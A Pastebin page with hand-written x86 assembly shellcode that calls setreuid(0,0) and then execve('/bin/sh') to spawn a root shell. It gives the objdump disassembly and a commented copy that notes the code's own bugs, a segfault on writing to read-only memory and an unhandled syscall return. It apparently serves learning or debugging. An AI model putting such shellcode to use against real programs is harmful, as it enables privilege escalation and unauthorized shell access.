Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- .section .data
- .section .text
- .globl _start
- _start:
- xor %rax, %rax
- mov $70, %al
- xor %rbx, %rbx
- xor %rcx, %rcx
- int $0x80
- jmp ender
- starter:
- pop %rbx
- xor %rax, %rax
- mov %al, 0x07(%rbx)
- mov %rbx, 0x08(%rbx)
- mov %rax, 0x0c(%rbx)
- mov $11, %al
- lea 0x08(%rbx), %rcx
- lea 0x0c(%rbx), %rdx
- int $0x80
- ender:
- call starter
- .string "/bin/sh"
- 0000000000400078 <_start>:
- 400078: 48 31 c0 xor %rax,%rax
- 40007b: b0 46 mov $0x46,%al
- 40007d: 48 31 db xor %rbx,%rbx
- 400080: 48 31 c9 xor %rcx,%rcx
- 400083: cd 80 int $0x80
- 400085: eb 1b jmp 4000a2 <ender>
- 0000000000400087 <starter>:
- 400087: 5b pop %rbx
- 400088: 48 31 c0 xor %rax,%rax
- 40008b: 88 43 07 mov %al,0x7(%rbx)
- 40008e: 48 89 5b 08 mov %rbx,0x8(%rbx)
- 400092: 48 89 43 0c mov %rax,0xc(%rbx)
- 400096: b0 0b mov $0xb,%al
- 400098: 48 8d 4b 08 lea 0x8(%rbx),%rcx
- 40009c: 48 8d 53 0c lea 0xc(%rbx),%rdx
- 4000a0: cd 80 int $0x80
- 00000000004000a2 <ender>:
- 4000a2: e8 e0 ff ff ff callq 400087 <starter>
- 4000a7: 2f (bad)
- 4000a8: 62 (bad)
- 4000a9: 69 .byte 0x69
- 4000aa: 6e outsb %ds:(%rsi),(%dx)
- 4000ab: 2f (bad)
- 4000ac: 73 68 jae 400116 <ender+0x74>
- .section .data
- .section .text
- .globl _start
- _start:
- xor %rax, %rax
- mov $70, %al
- xor %rbx, %rbx
- xor %rcx, %rcx
- ; call sys_setreuid(0,0)
- int $0x80
- jmp ender
- starter:
- ; take the return address off the stack
- ; rbx will point to the /bin/sh string after the call instruction
- pop %rbx
- ; zero rax
- xor %rax, %rax
- ; save a zero byte to the end of the /bin/sh string (it's 7 characters long)...
- ; (it will segfault here because you're writing to a read-only area)
- mov %al, 0x07(%rbx)
- ; ...followed by a pointer to the string...
- mov %rbx, 0x08(%rbx)
- ; ...followed by another zero value
- mov %rax, 0x0c(%rbx)
- ; setup the parameters for a sys_execve call
- mov $11, %al
- lea 0x08(%rbx), %rcx
- lea 0x0c(%rbx), %rdx
- int $0x80
- ; what happens when int 0x80 returns?
- ; you should do something here or starter will be called again
- ender:
- call starter
- .string "/bin/sh"
- mov %rbx, 0x08(%rbx)
- mov %rax, 0x0c(%rbx)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement